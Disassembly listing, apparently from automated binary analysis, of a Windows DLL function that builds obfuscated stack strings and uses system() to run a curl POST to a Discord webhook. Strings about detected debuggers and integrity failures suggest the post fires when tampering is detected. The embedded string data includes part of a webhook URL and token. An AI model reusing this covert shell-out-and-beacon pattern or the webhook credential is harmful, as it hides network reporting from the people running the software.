Function at 0x180011420
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x198]
sub rsp, 0x270
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x180030010]
xor rax, rsp
mov qword [rbp + 0x150], rax
movdqa xmm0, xmmword [str.https:__discord.pt:_application__1203149549561054GfIEsrbJdeJKBsD_X3DnP4jAYtNRisH3285_7fOq23KvHlMon_json___X_POSTNtTerminateThreaRtlUserThreadStaNtAllocateVirtuaNtUnmapViewOfSecity_detected_andNtQueryVirtualMecurl__i__H__AcceNtTerminateProceA_debugger_was_ft_Type:applicatiNtQueryInformatiNtMapViewOfSectiCTPUwb75euW99XLjNtProtectVirtualRtlAcquirePrivilRtlReleasePrivilNtFreeVirtualMemNtLockVirtualMemound_in_your_memjson___H__ContenNtSetInformationLdrRegisterDllNocom_api_webhooksInvalid_integrit___data___contSuspicious_activRtlAddVectoredEx_]
movdqa xmm1, xmmword [0x180021210]
movdqa xmm2, xmmword [0x180021060]
movdqa xmm3, xmmword [0x180021090]
movdqa xmm4, xmmword [0x180021170]
movdqa xmm5, xmmword [0x180021080]
movdqa xmm6, xmmword [0x180021070]
mov dword [rbp + 0xb0], 0x44513547
mov dword [rbp + 0xb4], 0x5931785f
mov word [rbp + 0xb8], 0x31
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x20], xmm2
movaps xmmword [rbp - 0x10], xmm3
movaps xmmword [rbp], xmm4
movaps xmmword [rbp + 0x10], xmm5
movaps xmmword [rbp + 0x20], xmm6
movsd xmm0, qword [rbp + 0xb0]
movsd qword [rbp + 0x30], xmm0
movzx eax, word [rbp + 0xb8]
mov word [rbp + 0x38], ax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x110]
call fcn.180010a10
nop
movdqa xmm0, xmmword [0x180021110]
movdqa xmm1, xmmword [0x180021050]
movdqa xmm2, xmmword [0x1800211e0]
movdqa xmm3, xmmword [0x180021140]
movdqa xmm4, xmmword [0x1800210a0]
movdqa xmm5, xmmword [0x180021230]
mov dword [rbp + 0x20], 0x5c746e65
mov dword [rbp + 0x24], 0x5c203a22
mov word [rbp + 0x28], 0x22
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x70], xmm3
movaps xmmword [rbp + 0x80], xmm4
movaps xmmword [rbp + 0x90], xmm5
movsd xmm0, qword [rbp + 0x20]
movsd qword [rbp + 0xa0], xmm0
movzx eax, word [rbp + 0x28]
mov word [rbp + 0xa8], ax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x130]
call fcn.180010a10
nop
mov dword [rsp + 0x20], 0x227d225c
mov word [rsp + 0x24], 0x20
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xf0]
call fcn.180010a10
nop
lea rcx, [0x180020518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x180021240]
movdqa xmm1, xmmword [0x1800210f0]
mov dword [rsp + 0x68], 0x6f747320
mov dword [rsp + 0x6c], 0x64657070
mov word [rsp + 0x70], 0x2e
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd qword [rbp + 0xe0], xmm0
movzx eax, word [rsp + 0x70]
mov word [rbp + 0xe8], ax
lea rax, [rbp + 0xc0]
mov rdx, 0xffffffffffffffff
mov rbx, rdx
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x180011610
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r12, qword [rbp + 0x140]
sub rax, r12
cmp rax, rbx
jb 0x1800119b4
lea rax, [rbp + 0x130]
mov rsi, qword [rbp + 0x130]
mov r15, qword [rbp + 0x148]
cmp r15, 0x10
cmovae rax, rsi
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea r13, [r12 + rbx]
mov edi, 0xf
lea r14, [rbp - 0x68]
cmp r13, rdi
jbe 0x1800116d7
mov rdi, r13
or rdi, 0xf
cmp rdi, rcx
jbe 0x18001168d
mov rdi, rcx
jmp 0x180011699
mov ecx, 0x16
cmp rdi, rcx
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x1800116bc
call fcn.180010c10
mov r14, rax
mov rax, qword [rsp + 0x20]
jmp 0x1800116d3
test rcx, rcx
je 0x1800116d0
call fcn.180015a50
mov r14, rax
mov rax, qword [rsp + 0x20]
jmp 0x1800116d3
xor r14d, r14d
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], rdi
mov r8, r12
mov rdx, rax
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r12 + r14]
mov r8, rbx
lea rdx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r13], 0
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp - 0x68]
call fcn.1800119c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
lea rcx, [rsp + 0x78]
call fcn.1800119c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18001180b
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011806
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180011806
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180015e14
movdqa xmm0, xmmword [0x180021020]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x18001185d
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011858
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180011858
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180015e14
movdqa xmm0, xmmword [0x180021020]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1800118ad
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800118a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800118a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180015e14
lea rcx, [0x180020518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x180011900
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800118fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800118fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180015e14
nop
cmp r15, 0x10
jb 0x18001193b
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180011932
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180011932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.180015e14
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x18001197f
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001197a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001197a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180015e14
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1800156d0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800105b0
nop
int3